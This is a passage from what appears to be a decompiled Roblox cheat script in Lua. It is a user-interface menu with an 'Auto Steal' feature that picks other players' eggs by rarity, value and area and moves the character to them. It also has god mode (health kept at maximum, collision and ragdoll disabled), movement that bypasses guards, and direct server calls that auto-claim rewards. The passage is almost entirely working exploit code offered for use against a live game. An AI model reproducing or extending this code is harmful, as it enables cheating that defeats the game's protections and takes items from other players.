local v13 = tbl4.Root()
if v13 then
pcall(function()
v13.AssemblyLinearVelocity = Vector3.new(0, 0, 0)
v13.AssemblyAngularVelocity = Vector3.new(0, 0, 0)
end)
end
local character = localPlayer.Character
character = character and character:FindFirstChildOfClass("Humanoid")
if character then
character.PlatformStand = false
end
end
do
local tbl6 = {
Enum.HumanoidStateType.FallingDown,
Enum.HumanoidStateType.Ragdoll,
Enum.HumanoidStateType.Physics,
Enum.HumanoidStateType.Seated,
Enum.HumanoidStateType.PlatformStanding,
}
local tbl7 = {}
local flag = false
tbl4.GodMode = function(arg)
local character = localPlayer.Character
local humanoid = character and character:FindFirstChildOfClass("Humanoid")
if not character or not humanoid then
return
end
if arg then
flag = true
for _, v13 in ipairs(tbl6) do
pcall(function()
humanoid:SetStateEnabled(v13, false)
end)
end
pcall(function()
humanoid.BreakJointsOnDeath = false
end)
for _, descendant in ipairs(character:GetDescendants()) do
if descendant:IsA("BasePart") and tbl7[descendant] == nil then
tbl7[descendant] = descendant.CanCollide
pcall(function()
descendant.CanCollide = false
end)
end
end
elseif flag then
flag = false
for _, v13 in ipairs(tbl6) do
pcall(function()
humanoid:SetStateEnabled(v13, true)
end)
end
for k, v13 in pairs(tbl7) do
if k and k.Parent then
pcall(function()
k.CanCollide = v13
end)
end
end
table.clear(tbl7)
end
end
end
tbl4.GodTick = function()
local character = localPlayer.Character
local humanoid = character and character:FindFirstChildOfClass("Humanoid")
if humanoid and humanoid.Health < humanoid.MaxHealth then
pcall(function()
humanoid.Health = humanoid.MaxHealth
end)
end
end
tbl4.StopWalking = function()
local character = localPlayer.Character
local humanoidRootPart = character and character:FindFirstChild("HumanoidRootPart")
local humanoid = character and character:FindFirstChildOfClass("Humanoid")
if humanoid and humanoidRootPart then
pcall(function()
humanoid:MoveTo(humanoidRootPart.Position)
humanoid:Move(Vector3.new(0, 0, 0), false)
end)
end
end
local function fn9(arg, arg2, arg3, arg4)
local n = tonumber(arg2) or 6
local n2 = tonumber(arg3) or 10
local n3 = 0
local position = nil
local n4 = 0
local n5 = 0
while n3 < n2 do
if type(arg4) == "function" and arg4() then
tbl4.StopWalking()
return false
end
local character = localPlayer.Character
local humanoidRootPart = character and character:FindFirstChild("HumanoidRootPart")
character = character and character:FindFirstChildOfClass("Humanoid")
if not humanoidRootPart or not character or character.Health <= 0 then
return false
end
if (humanoidRootPart.Position - arg).Magnitude <= n then
tbl4.StopWalking()
return true
end
if position and (humanoidRootPart.Position - position).Magnitude < 1 then
n4 = n4 + 0.2
else
n4 = 0
end
position = humanoidRootPart.Position
n5 = math.max(0, n5 - 0.2)
if n4 >= 0.8 and n5 <= 0 then
tbl4.LeaveBelt()
pcall(function()
character.Jump = true
end)
n4 = 0
n5 = 1.5
end
character:MoveTo(arg)
n3 = n3 + task.wait(0.2)
end
tbl4.StopWalking()
return tbl4.DistanceTo(arg) <= n
end
tbl4.WalkTo = function(arg, arg2, arg3, arg4)
tbl4.Driving = tbl4.Driving + 1
local ok, result = pcall(fn9, arg, arg2, arg3, arg4)
tbl4.Driving = math.max(0, tbl4.Driving - 1)
ok = ok and result == true
return ok
end
local fn10
local tbl6 =
{ Boss = "Fractured", GreatBloom = "Spirit Bloom", Sakura = "Bloom", Monstrous = "Parasite" }
task.spawn(function()
local mutations = tbl.Mutations
local ok, result = pcall(function()
return mutations.All()
end)
local v13 = result
if ok and type(v13) == "table" then
for k, v14 in pairs(v13) do
local flag = type(v14) == "table"
local id
if flag then
id = v14.Id or k
else
id = flag
end
id = id or nil
local label = type(v14) == "table" and v14.Label or nil
if id ~= nil and type(label) == "string" and label ~= "" then
tbl6[tostring(id)] = label
end
end
end
end)
fn10 = function(arg)
local str = tbl6[tostring(arg)] or tostring(arg)
return str
end
local tbl7, tbl8, tbl9, tbl10, n, tbl11, tbl12, tbl13, n2, n3
local n4, fn11, v13, v14, v15, v16, v17, str, str2, flag
local n5, tbl14, v18, fn12, fn13
do
local tbl15, flag2, tbl16, n6, v19
do
local tbl17 = {
"Forest",
"Desert",
"Snow",
"Lake",
"Jungle",
"Volcano",
"Prehistoric",
"Cosmic",
"Abyss Ocean",
"Cherry Blossom",
"Light Dark",
"Titan Temple",
}
local tbl18 = {}
for _, v20 in ipairs(tbl17) do
tbl18[v20] = true
end
task.spawn(function()
local eggState = tbl.EggState
local ok, result = pcall(function()
return eggState.ReadFieldEggs()
end)
ok = ok and type(result) == "table"
ok = ok and type(result.Records) == "table"
if ok then
for _, v20 in pairs(result.Records) do
local areaId = type(v20) == "table" and v20.AreaId or nil
if type(areaId) == "string" and not tbl18[areaId] then
tbl18[areaId] = true
table.insert(tbl17, areaId)
end
end
end
end)
tbl7 = { "Any" }
tbl8 = { Any = 0 }
local tbl19 = {}
local directory = tbl.Assets and tbl.Assets.Directory
if type(directory) == "table" then
for _, v20 in pairs(directory) do
local rarity = type(v20) == "table" and v20.Rarity or nil
local flag3 = type(rarity) == "table"
if flag3 then
local v21 = tonumber
local rarityNumber = rarity.RarityNumber or rarity.Rank
flag3 = v21(rarityNumber)
end
flag3 = flag3 or nil
if flag3 then
local v21 = tbl19[flag3]
local v22
if v21 then
v22 = v21
else
local v23 = tostring
local displayName = rarity.DisplayName or rarity._id or flag3
v22 = v23(displayName)
end
tbl19[flag3] = v22
end
end
end
if next(tbl19) == nil then
tbl19 = {
"Common",
"Uncommon",
"Rare",
"Epic",
"Legendary",
"Mythic",
"Cosmic",
"Secret",
"Eternal",
"Divine",
}
end
local tbl20 = {}
for k in pairs(tbl19) do
table.insert(tbl20, k)
end
table.sort(tbl20)
for _, v20 in ipairs(tbl20) do
table.insert(tbl7, tbl19[v20])
tbl8[tbl19[v20]] = v20
end
tbl9 = { "Best Rarity", "Biggest Weight", "Best Mutation", "Highest Value", "Lowest Value" }
tbl10 = {}
n = 0
tbl15 = {}
tbl11 = {}
tbl12 = {}
tbl13 = {}
tbl4.Steal.RiftPriority = false
tbl4.Steal.RiftNeeds = {}
flag2 = false
tbl16 = {}
n6 = 0
v19 = tbl9[4]
n2 = 400
n3 = 27.4
n4 = 400
fn11 = nil
v13 = v5:CreateToggle({
Name = "Auto Steal",
Default = false,
Callback = function()
if fn11 then
fn11()
end
end,
})
for _, v20 in ipairs(tbl17) do
tbl10[v20] = true
end
fn7(v5:CreateMultiDropdown({
Name = "Target Areas",
Options = tbl17,
Default = tbl17,
Callback = function(arg)
local tbl21 = {}
if type(arg) == "table" then
for k, v20 in pairs(arg) do
if v20 == true and type(k) == "string" then
tbl21[k] = true
elseif type(v20) == "string" then
tbl21[v20] = true
end
end
end
if next(tbl21) == nil then
for _, v20 in ipairs(tbl17) do
tbl21[v20] = true
end
end
tbl10 = tbl21
end,
}))
end
v5:CreateDropdown({
Name = "Min Rarity",
Note = "Steal eggs of the chosen rarity and every rarity above it",
Options = tbl7,
Default = tbl7[1],
Callback = function(arg)
local n7 = tbl8[arg] or 0
n = n7
end,
})
do
local tbl17 = {
["K/s"] = { Min = 0, Max = 1000, Mult = 1000 },
["M/s"] = { Min = 0, Max = 1000, Mult = 1000000 },
["B/s"] = { Min = 0, Max = 100, Mult = 1000000000 },
}
local v20 = nil
local n7 = 0
local str3 = "M/s"
local function fn14(arg, arg2)
if arg ~= nil then
local max = math.max
local floor = math.floor
local num = tonumber(arg) or n7
n7 = max(0, floor(num))
end
if arg2 ~= nil then
str3 = tostring(arg2)
end
local ms = tbl17[str3] or tbl17["M/s"]
n6 = n7 * ms.Mult
end
v20 = v5:CreateSlider({
Name = "Min Value To Steal",
Note = "Skip eggs worth less than this (0 = off)",
Min = 0,
Max = 1000,
Default = 0,
AllowDecimals = false,
Increment = 1,
Unit = {
Default = "M/s",
Selector = true,
Options = { "K/s", "M/s", "B/s" },
ColorEnabled = true,
Colors = {
Number = Color3.fromRGB(255, 255, 255),
Suffix = Color3.fromRGB(58, 255, 55),
},
Callback = function(arg)
local ms = tbl17[arg] or tbl17["M/s"]
local setRange = v20
if v20 then
setRange = v20.SetRange
end
if setRange then
v20:SetRange(ms.Min, ms.Max)
local min = tonumber(v20:Get()) or ms.Min
local min2 = ms.Min
local max = ms.Max
local n8 = math.clamp(math.floor(min + 0.5), min2, max)
if n8 ~= min then
str3 = tostring(arg)
v20:Set(n8)
return
end
fn14(n8, arg)
else
fn14(nil, arg)
end
end,
},
Callback = function(arg)
fn14(arg, nil)
end,
})
end
do
local tbl17 = {}
local tbl18 = {}
local directory = tbl.Assets and tbl.Assets.Directory
local tbl19 = {}
if type(directory) == "table" then
for k, v20 in pairs(directory) do
local rarity = type(v20) == "table" and v20.Rarity or nil
local flag3 = type(rarity) == "table"
local v21
if flag3 then
local v22 = tonumber
local rarityNumber = rarity.RarityNumber or rarity.Rank
v21 = v22(rarityNumber)
else
v21 = flag3
end
local v22 = v21 or nil
if v22 then
local insert = table.insert
local tbl20 = { Category = tostring(k) }
local v23 = tostring
local displayName = v20.DisplayName or k
tbl20.Name = v23(displayName)
tbl20.Rarity = v22
local v24 = tostring
local displayName2 = rarity.DisplayName or rarity._id or v22
tbl20.RarityName = v24(displayName2)
insert(tbl19, tbl20)
end
end
end
table.sort(tbl19, function(arg, arg2)
if arg.Rarity ~= arg2.Rarity then
return arg.Rarity > arg2.Rarity
end
return arg.Name < arg2.Name
end)
for _, v20 in ipairs(tbl19) do
local str3 = string.format("%s [%s]", v20.Name, v20.RarityName)
if tbl18[str3] then
str3 = string.format("%s [%s] (%s)", v20.Name, v20.RarityName, v20.Category)
end
table.insert(tbl17, str3)
tbl18[str3] = v20.Category
end
fn7(v5:CreateMultiDropdown({
Name = "Target Specific Eggs",
Note = "Only steal these eggs (empty = all)",
Options = tbl17,
Default = {},
Callback = function(arg)
local tbl20 = {}
if type(arg) == "table" then
for k, v20 in pairs(arg) do
local flag3 = v20 == true and type(k) == "string"
if not flag3 then
k = flag3
end
k = k or type(v20) == "string" and v20
k = k or nil
if k and tbl18[k] then
tbl20[tbl18[k]] = true
end
end
end
tbl15 = tbl20
end,
}))
end
do
local n7 = 30
local v20 = nil
local flag3 = false
local n8 = 0
local function fn14()
local tbl17 = {}
local save = tbl.Save
if type(save) == "table" and type(save.Get) == "function" then
local ok, result = pcall(save.Get)
ok = ok and type(result) == "table"
if ok then
local v21 = pairs
local inventory = result.Inventory or {}
for _, v22 in v21(inventory) do
if type(v22) == "table" and v22.Category ~= nil then
tbl17[tostring(v22.Category)] = true
end
end
local v22 = pairs
local eggInventory = result.EggInventory or {}
for _, v23 in v22(eggInventory) do
if type(v23) == "table" and v23.AssetCategory ~= nil then
tbl17[tostring(v23.AssetCategory)] = true
end
end
end
end
return tbl17
end
local function fn15()
local rfRiftAskState = networking:FindFirstChild("RF/Rift/AskState")
if not rfRiftAskState or not rfRiftAskState:IsA("RemoteFunction") then
return
end
local ok, result = pcall(rfRiftAskState.InvokeServer, rfRiftAskState)
if not ok or type(result) ~= "table" or type(result.Requirements) ~= "table" then
return
end
local v21 = fn14()
local tbl17 = {}
for _, v22 in pairs(result.Requirements) do
if not v21[tostring(v22)] then
tbl17[tostring(v22)] = true
end
end
tbl4.Steal.RiftNeeds = tbl17
end
tbl2.Add(function()
if not tbl4.Steal.RiftPriority or flag3 or os.clock() < n8 then
return false
end
flag3 = true
n8 = os.clock() + n7
task.spawn(function()
pcall(fn15)
flag3 = false
end)
return false
end)
local function fn16()
local riftNeeds = tbl4.Steal.RiftNeeds
if not tbl4.Steal.RiftPriority or next(riftNeeds) == nil then
return
end
local v21 = fn14()
local flag4 = false
for k in pairs(riftNeeds) do
if v21[k] then
riftNeeds[k] = nil
flag4 = true
end
end
if flag4 then
tbl2.Wake()
end
end
local save = tbl.Save
if type(save) == "table" and type(save.FieldSignal) == "function" then
for _, v21 in ipairs({ "EggInventory", "Inventory" }) do
local ok, result = pcall(save.FieldSignal, v21)
ok = ok and type(result) == "table"
ok = ok and type(result.Connect) == "function"
if ok then
local ok2, result2 = pcall(result.Connect, result, function()
task.defer(fn16)
end)
ok2 = ok2 and result2
if ok2 then
fn6(function()
pcall(function()
result2:Disconnect()
end)
end)
end
end
end
end
v20 = v5:CreateToggle({
Name = "Steal Missing Rift Eggs",
Note = "Steal eggs the Rift recipe needs, after your filtered targets",
Default = false,
Callback = function()
tbl4.Steal.RiftPriority = tbl4.Toggle(v20, false) == true
n8 = 0
if not tbl4.Steal.RiftPriority then
tbl4.Steal.RiftNeeds = {}
end
tbl2.Wake()
end,
})
end
do
local n7 = 5
local n8 = 5
local n9 = 60
local v20 = nil
local v21 = nil
local n10 = 0
local n11 = 0
local flag3 = false
local tbl17 = {}
local function fn14()
local save = tbl.Save
if type(save) == "table" and type(save.Get) == "function" then
local ok, result = pcall(save.Get)
ok = ok and type(result) == "table"
if ok then
return result
end
end
return nil
end
local function fn15()
local v22 = fn14()
local directory = tbl.Areas and tbl.Areas.Directory
local directory2 = tbl.Assets and tbl.Assets.Directory
if not v22 or type(directory) ~= "table" or type(directory2) ~= "table" then
return
end
local index = type(v22.Index) == "table" and v22.Index or {}
local tbl18 = {}
local v23 = pairs
local inventory = v22.Inventory or {}
for _, v24 in v23(inventory) do
if type(v24) == "table" and v24.Category ~= nil then
tbl18[tostring(v24.Category)] = true
end
end
local v24 = pairs
local eggInventory = v22.EggInventory or {}
for _, v25 in v24(eggInventory) do
if type(v25) == "table" and v25.AssetCategory ~= nil then
tbl18[tostring(v25.AssetCategory)] = true
end
end
local tbl19 = {}
for _, v25 in pairs(directory) do
local flag4 = type(v25) == "table" and type(v25.Rarity) == "table"
if flag4 then
local v26 = tonumber
local rarityNumber = v25.Rarity.RarityNumber or v25.Rarity.Rank
flag4 = v26(rarityNumber)
end
flag4 = flag4 or 0
local v26 = pairs
local dropTable = type(v25) == "table" and v25.DropTable or {}
for _, v27 in v26(dropTable) do
local flag5 = type(v27) == "table" and v27[1] or nil
local n12 = type(v27) == "table" and tonumber(v27[2]) or 0
local flag6 = flag5 ~= nil and directory2[flag5] or nil
if type(flag6) == "table" and n12 > 0 and flag6.DontRoll ~= true then
local str3 = tostring(flag5)
local flag7 = index[flag5] ~= true and not tbl18[str3]
local flag8
if flag7 then
flag8 = tbl19[str3] == nil or flag4 > tbl19[str3]
else
flag8 = flag7
end
if flag8 then
tbl19[str3] = flag4
end
end
end
end
tbl16 = tbl19
end
local function fn16(arg, ...)
local v22 = networking:FindFirstChild(arg)
if not v22 or not v22:IsA("RemoteFunction") then
return false
end
local ok, result = pcall(v22.InvokeServer, v22, ...)
ok = ok and result ~= false
return ok
end
local function fn17(arg, arg2)
local tbl18 = {}
if type(arg) ~= "table" then
return tbl18
end
for _, v22 in ipairs(arg2) do
local flag4 = arg
for _, v23 in ipairs(v22) do
flag4 = type(flag4) == "table" and flag4[v23]
flag4 = flag4 or nil
end
local v23 = ipairs
local flag5 = type(flag4) == "table"
if not flag5 then
flag4 = flag5
end
local tbl19 = flag4 or {}
for _, v24 in v23(tbl19) do
if type(v24) == "table" and v24.AssetId ~= nil then
table.insert(tbl18, v24.AssetId)
end
end
end
return tbl18
end
local tbl18 = {
{
Id = "LimitedEgg",
Gear = "GravityDisruptor",
Module = "LimitedEgg",
Lists = { { "Entries" }, { "MechaReroll", "Entries" } },
},
{
Id = "BrainrotEgg",
Gear = "BeeLauncher",
Module = "BrainrotEgg",
Lists = { { "Entries" } },
},
{
Id = "MonsterEgg",
Gear = "BeeLauncher",
Module = "MonsterEgg",
Lists = { { "Entries" }, { "MechaEntries" } },
},
}
local function fn18()
local v22 = fn14()
if not v22 then
return
end
local index = type(v22.Index) == "table" and v22.Index or {}
local indexClaimedCategories = type(v22.IndexClaimedCategories) == "table"
and v22.IndexClaimedCategories
or {}
for k, v23 in pairs(index) do
if v23 == true and indexClaimedCategories[k] ~= true then
fn16("RF/Codex/AskRedeemAll")
break
end
end
local gearInventory = type(v22.GearInventory) == "table" and v22.GearInventory or {}
for _, v23 in ipairs(tbl18) do
local flag4 = (tonumber(gearInventory[v23.Gear]) or 0) <= 0
if flag4 then
local now = os.clock()
local n12 = tbl17[v23.Id] or 0
flag4 = now >= n12
end
if flag4 then
local v24 = fn17(tbl[v23.Module], v23.Lists)
local flag5 = #v24 > 0
for _, v25 in ipairs(v24) do
if index[v25] ~= true then
flag5 = false
break
end
end
if flag5 then
tbl17[v23.Id] = os.clock() + n9
fn16("RF/Codex/AskRedeemLimitedEgg", v23.Id)
end
end
end
end
tbl2.Add(function()
local now = os.clock()
local flag4 = flag2
if flag2 then
flag4 = now >= n10
end
if flag4 then
n10 = now + n7
pcall(fn15)
end
if not flag3 and now >= n11 and tbl4.Toggle(v21, false) then
flag3 = true
n11 = now + n8
task.spawn(function()
pcall(fn18)
flag3 = false
end)
end
return false
end)
v20 = v5:CreateToggle({
Name = "Steal Missing Index Eggs",
Note = "Also steal eggs missing from your index, highest area first",
Default = false,
Callback = function()
flag2 = tbl4.Toggle(v20, false) == true
n10 = 0
if not flag2 then
tbl16 = {}
end
tbl2.Wake()
end,
})
v21 = v5:CreateToggle({
Name = "Auto Claim Index",
Note = "Claim index rewards as soon as they unlock",
Default = false,
Callback = function()
n11 = 0
tbl2.Wake()
end,
})
end
v5:CreateDropdown({
Name = "Steal Priority",
Options = tbl9,
Default = tbl9[4],
Callback = function(arg)
if table.find(tbl9, arg) then
v19 = arg
end
end,
})
v14 = v5:CreateSlider({
Name = "Tween Speed",
Min = 100,
Max = 1000,
Default = 400,
Increment = 10,
Unit = "studs/s",
Callback = function(arg)
local clamp = math.clamp
local n7 = tonumber(arg) or 400
local v20 = clamp(n7, 100, 1000)
n2 = v20
n4 = v20
end,
})
tbl4.AntiGuard.PanelHandle = v5:CreateToggle({
Name = "Anti Guard V1",
Note = "Not recommended to use with Auto Steal",
Default = false,
Callback = function(arg)
if type(arg) ~= "boolean" then
arg = tbl4.Toggle(tbl4.AntiGuard.PanelHandle, false)
end
tbl4.AntiGuard.PanelShown = arg
if tbl4.AntiGuard.ShowPanel then
pcall(tbl4.AntiGuard.ShowPanel, arg)
end
end,
})
v15 = nil
v16 = nil
v17 = nil
str = "None"
str2 = "Idle"
flag = false
n5 = 0
tbl14 = {}
local n7
n7 = 20
v18 = nil
fn12 = function(arg)
local flag3 = arg ~= n5 or not tbl4.Toggle(v15, false)
return flag3
end
local fn14
do
local tbl17 = {}
local function fn15(arg)
if type(arg) ~= "number" or tbl17[arg] then
return
end
tbl17[arg] = true
task.delay(math.max(0, arg - workspace:GetServerTimeNow()) + 0.05, function()
tbl17[arg] = nil
tbl2.Wake()
end)
end
local n8 = 0
fn14 = function()
local areaEggCycle = tbl.AreaEggCycle
if type(areaEggCycle) ~= "table" then
return nil
end
local ok, result, result2, result3, result4 = pcall(function()
local serverTimeNow = workspace:GetServerTimeNow()
local nextResetTime = areaEggCycle.NextResetTime
return serverTimeNow,
areaEggCycle.IsNightPhase(serverTimeNow),
areaEggCycle.NextNightTime(serverTimeNow),
nextResetTime(serverTimeNow)
end)
if not ok or type(result4) ~= "number" then
return nil
end
if result2 == true then
n8 = result4 + tbl4.WallOpenDelay()
fn15(n8)
return n8, "night", result
end
if tbl4.WallSealed() then
fn15(result + 0.3)
return math.max(n8, result), "wall", result
end
if type(result3) == "number" and result3 > result then
fn15(result3)
end
return nil
end
end
do
local areaEggResetWall = tbl.AreaEggResetWall
local changed = type(areaEggResetWall) == "table" and areaEggResetWall.Changed or nil
if changed and type(changed.Connect) == "function" then
local ok, result = pcall(function()
return changed:Connect(function()
tbl2.Wake()
end)
end)
ok = ok and result
if ok then
fn6(function()
pcall(function()
result:Disconnect()
end)
end)
end
end
end
local n8
n8 = 8
local v20
v20 = nil
local n9
n9 = 0
local fn15, fn16
local function fn17(arg)
local tbl17 = {}
local str3 = "FirstAreaEgg_" .. tostring(localPlayer.UserId)
local eggState = tbl.EggState
if type(eggState) == "table" and type(eggState.ReadFieldEggs) == "function" then
task.spawn(function()
local ok, result = pcall(eggState.ReadFieldEggs)
if ok and type(result) == "table" and type(result.Records) == "table" then
for _, v21 in pairs(result.Records) do
local flag3 = type(v21) == "table" and type(v21.Uid) == "string"
if flag3 then
local flag4 = arg
if arg then
flag4 = string.sub(v21.Uid, 1, #str3) == str3
end
flag3 = not flag4
end
if flag3 then
tbl17[v21.Uid] = true
end
end
end
end)
end
return tbl17
end
fn13 = function()
local flag3 = v20 ~= nil and os.clock() < n9
return flag3
end
fn15 = function()
local flag3 = v20
if v20 then
flag3 = n9 == math.huge
end
if flag3 then
return
end
v20 = fn17(true)
n9 = math.huge
table.clear(tbl11)
table.clear(tbl13)
table.clear(tbl12)
table.clear(tbl14)
v18 = nil
end
fn16 = function()
if not v20 then
return false
end
if n9 <= os.clock() then
v20 = nil
return false
end
local v21 = fn17()
if next(v21) == nil then
return true
end
local flag3 = false
local flag4 = false
for k in pairs(v21) do
if v20[k] then
flag3 = true
else
flag4 = true
end
end
if not flag3 then
v20 = nil
return false
end
return not flag4
end
local fn18
do
local function fn19(arg)
local directory = tbl.Assets and tbl.Assets.Directory
local flag3 = type(directory) == "table" and directory[tostring(arg)] or nil
local rarity = type(flag3) == "table" and type(flag3.Rarity) == "table" and flag3.Rarity
or nil
local tbl17 = {}
local v21
if rarity then
local v22 = tonumber
local rarityNumber = rarity.RarityNumber or rarity.Rank
v21 = v22(rarityNumber)
else
v21 = rarity
end
tbl17.RarityNumber = v21 or 0
tbl17.EarningRate = type(flag3) == "table" and tonumber(flag3.EarningRate) or 0
return tbl17
end
local function fn20(arg)
local mutations = tbl.Mutations
if type(mutations) == "table" and type(mutations.EarningsFor) == "function" then
local v21 = pcall
local earningsFor = mutations.EarningsFor
local flag3 = type(arg) == "table"
if not flag3 then
arg = flag3
end
arg = arg or {}
local flag4, v22 = v21(earningsFor, arg)
flag4 = flag4 and type(v22) == "number"
if flag4 then
return v22
end
end
return 1
end
local function fn21(arg, arg2)
local eggRecords = tbl.EggRecords
if type(eggRecords) == "table" and type(eggRecords.WeightKgForScale) == "function" then
local ok, result = pcall(eggRecords.WeightKgForScale, arg, arg2)
ok = ok and type(result) == "number"
if ok then
return result
end
end
return 0
end
fn18 = function(arg, arg2)
local records = nil
local eggState = tbl.EggState
if type(eggState) == "table" and type(eggState.ReadFieldEggs) == "function" then
task.spawn(function()
local ok, result = pcall(eggState.ReadFieldEggs)
ok = ok and type(result) == "table"
ok = ok and type(result.Records) == "table"
ok = ok and next(result.Records) ~= nil
if ok then
records = result.Records
end
end)
end
if not records then
local rfEggWorldAskFieldEggSnapshot =
networking:FindFirstChild("RF/EggWorld/AskFieldEggSnapshot")
if
not rfEggWorldAskFieldEggSnapshot
or not rfEggWorldAskFieldEggSnapshot:IsA("RemoteFunction")
then
return {}
end
local ok, result =
pcall(rfEggWorldAskFieldEggSnapshot.InvokeServer, rfEggWorldAskFieldEggSnapshot)
ok = ok and type(result) == "table"
ok = ok and result.Records
records = ok or nil
end
if type(records) ~= "table" then
return {}
end
local tbl17 = {}
local tbl18 = {}
for _, record in pairs(records) do
local uid = type(record) == "table" and record.Uid or nil
if uid and record.State ~= "Claimed" then
tbl18[uid] = true
end
local flag3 = tbl4.Steal.Carrying and uid == tbl4.Steal.CarryUid
local flag4 = record.State == "Carried"
and arg2 == true
and arg ~= true
and not flag3
local flag5
if uid then
flag5 = record.State == "Slot" or record.State == "Dropped" or flag4
else
flag5 = uid
end
local v21 = uid and tbl11[uid] or nil
local flag6 = uid and tbl12[uid] == true or false
local flag7 = arg ~= true
and flag2
and uid
and tbl16[tostring(record.AssetCategory)]
or nil
local flag8 = arg ~= true
and tbl4.Steal.RiftPriority == true
and uid ~= nil
and tbl4.Steal.RiftNeeds[tostring(record.AssetCategory)] == true
local flag9 = arg == true
or v21 ~= nil
or flag6
or flag8
or flag7 ~= nil
or tbl10[tostring(record.AreaId)] == true
local flag10 = arg ~= true and v21 == nil and tbl13[uid] == true
local flag11 = v20 ~= nil and v20[uid] == true
flag5 = flag5 and typeof(record.BottomCFrame) == "CFrame"
if flag5 then
flag5 = (tbl14[uid] or 0) <= os.clock()
end
if not flag5 then
flag9 = flag5
end
flag9 = flag9 and not flag10
if flag9 and not flag11 then
local v22 = fn19(record.AssetCategory)
local str3 = tostring(record.AssetCategory)
local flag12 = v22.RarityNumber >= n
local flag13 = next(tbl15) == nil or tbl15[str3] == true
local n10 = tonumber(record.AssetScale) or 1
local v23 = fn20(record.Mutations)
local n11 = n10 > 5 and (n10 / 5) ^ 1.2 * 19.637875755794113 or n10 ^ 1.85
local flag14 = n6 <= 0 or v22.EarningRate * n11 * v23 >= n6
if not flag12 then
flag13 = flag12
end
if not flag13 then
flag14 = flag13
end
local flag15 = flag8
and not flag14
and not flag6
and v21 == nil
and flag7 == nil
if arg == true or v21 or flag6 or flag8 or flag7 ~= nil or flag14 then
local insert = table.insert
local tbl19 = {
Uid = uid,
Category = str3,
Scale = n10,
State = record.State,
Rarity = v22.RarityNumber,
Weight = fn21(record.AssetCategory, n10),
Mutation = v23,
Value = v22.EarningRate * n11 * v23,
CFrame = record.BottomCFrame,
AreaId = tostring(record.AreaId),
}
local flag16 = arg ~= true
if not flag16 then
flag8 = flag16
end
tbl19.Rift = flag8
local flag17 = arg ~= true
if not flag17 then
flag15 = flag17
end
tbl19.RiftOnly = flag15
tbl19.Index = flag7
tbl19.Forced = arg ~= true and v21 and v21.At or nil
local flag18 = arg ~= true
if not flag18 then
flag6 = flag18
end
tbl19.Priority = flag6
insert(tbl17, tbl19)
end
end
end
if next(tbl18) ~= nil then
for k in pairs(tbl11) do
if not tbl18[k] then
tbl11[k] = nil
end
end
for k in pairs(tbl12) do
if not tbl18[k] then
tbl12[k] = nil
end
end
for k in pairs(tbl13) do
if not tbl18[k] then
tbl13[k] = nil
end
end
end
table.sort(tbl17, function(arg3, arg4)
if arg3.Forced ~= nil ~= arg4.Forced ~= nil then
return arg3.Forced ~= nil
end
if arg3.Forced and arg4.Forced and arg3.Forced ~= arg4.Forced then
return arg3.Forced < arg4.Forced
end
if arg3.Priority ~= arg4.Priority then
return arg3.Priority == true
end
if arg3.RiftOnly ~= arg4.RiftOnly then
return arg4.RiftOnly == true
end
if arg3.Index ~= nil ~= arg4.Index ~= nil then
return arg3.Index ~= nil
end
if arg3.Index and arg4.Index and arg3.Index ~= arg4.Index then
return arg3.Index > arg4.Index
end
if v19 == tbl9[2] and arg3.Weight ~= arg4.Weight then
return arg3.Weight > arg4.Weight
end
if v19 == tbl9[3] and arg3.Mutation ~= arg4.Mutation then
return arg3.Mutation > arg4.Mutation
end
if v19 == tbl9[4] and arg3.Value ~= arg4.Value then
return arg3.Value > arg4.Value
end
if v19 == tbl9[5] and arg3.Value ~= arg4.Value then
return arg3.Value < arg4.Value
end
if arg3.Rarity ~= arg4.Rarity then
return arg3.Rarity > arg4.Rarity
end
if arg3.Value ~= arg4.Value then
return arg3.Value > arg4.Value
end
return tostring(arg3.Uid) < tostring(arg4.Uid)
end)
return tbl17
end
end
local n10
n10 = 6
local fn19, fn20, fn21, fn22, fn23
do
local v21 = nil
local connection = nil
fn19 = function(arg, arg2, arg3, arg4, arg5)
local n11 = arg2 - arg.Position
local magnitude = n11.Magnitude
local n12 = math.max(arg4, 0.004166666666666667)
local vector = Vector3.new(0, 0, 0)
if magnitude > 0.01 then
vector = n11.Unit * math.min(arg3, magnitude / n12)
end
local n13 = vector + Vector3.new(0, workspace.Gravity * n12 * 0.5, 0)
if 2 < magnitude then
if not arg5.mark then
arg5.mark = magnitude
arg5.clock = 0
end
arg5.clock = arg5.clock + arg4
if 0.4 <= arg5.clock then
if arg5.mark - magnitude < arg3 * 0.1 then
pcall(function()
arg.CFrame = arg.CFrame + n11.Unit * math.min(magnitude, arg3 * n12)
end)
end
arg5.mark = magnitude
arg5.clock = 0
end
else
arg5.mark = nil
end
pcall(function()
arg.AssemblyLinearVelocity = n13
arg.AssemblyAngularVelocity = Vector3.new(0, 0, 0)
end)
return magnitude <= 0.5
end
fn20 = function()
local v22 = tbl4.Root()
if v22 then
pcall(function()
v22.AssemblyLinearVelocity = Vector3.new(0, 0, 0)
v22.AssemblyAngularVelocity = Vector3.new(0, 0, 0)
end)
end
end
local connection2 = nil
local tbl17 = {}
fn21 = function()
v21 = nil
if connection then
connection:Disconnect()
connection = nil
end
if connection2 then
connection2:Disconnect()
connection2 = nil
end
end
fn22 = function()
local num = tonumber(localPlayer:GetAttribute("RagdollEndTime"))
local flag3 = num ~= nil and num > workspace:GetServerTimeNow()
return flag3
end
local flag3 = false
local function fn24()
if flag3 then
return true
end
return true
end
fn23 = function(arg, arg2)
v21 = arg
flag3 = arg2 == true
local v22 = connection
local flag4
if connection then
flag4 = v22
else
flag4 = not arg
end
if flag4 then
return
end
tbl17 = {}
connection = RunService.Heartbeat:Connect(function()
if not v21 or fn24() or fn22() or tbl4.AntiGuard.Busy then
return
end
local v23 = tbl4.Root()
if not v23 then
return
end
pcall(function()
local rotation = v23.CFrame.Rotation
v23.CFrame = CFrame.new(v21) * rotation
v23.AssemblyLinearVelocity = Vector3.new(0, 0, 0)
v23.AssemblyAngularVelocity = Vector3.new(0, 0, 0)
end)
end)
connection2 = RunService.PreSimulation:Connect(function(arg3)
if not v21 or not fn24() or fn22() or tbl4.AntiGuard.Busy then
return
end
local v23 = tbl4.Root()
if v23 then
fn19(v23, v21, n4, arg3, tbl17)
end
end)
end
end
fn6(fn21)
local fn24
fn24 = function()
fn21()
tbl4.EndFlight()
tbl4.GodMode(false)
local character = localPlayer.Character
character = character and character:FindFirstChildOfClass("Humanoid")
if character then
character.PlatformStand = false
end
end
local n11, fn25, fn26
do
local n12 = 1.5
n11 = 0.6
local function fn27(arg, arg2)
local x = arg2.X
return (Vector3.new(arg.X, 0, arg.Z) - Vector3.new(x, 0, arg2.Z)).Magnitude
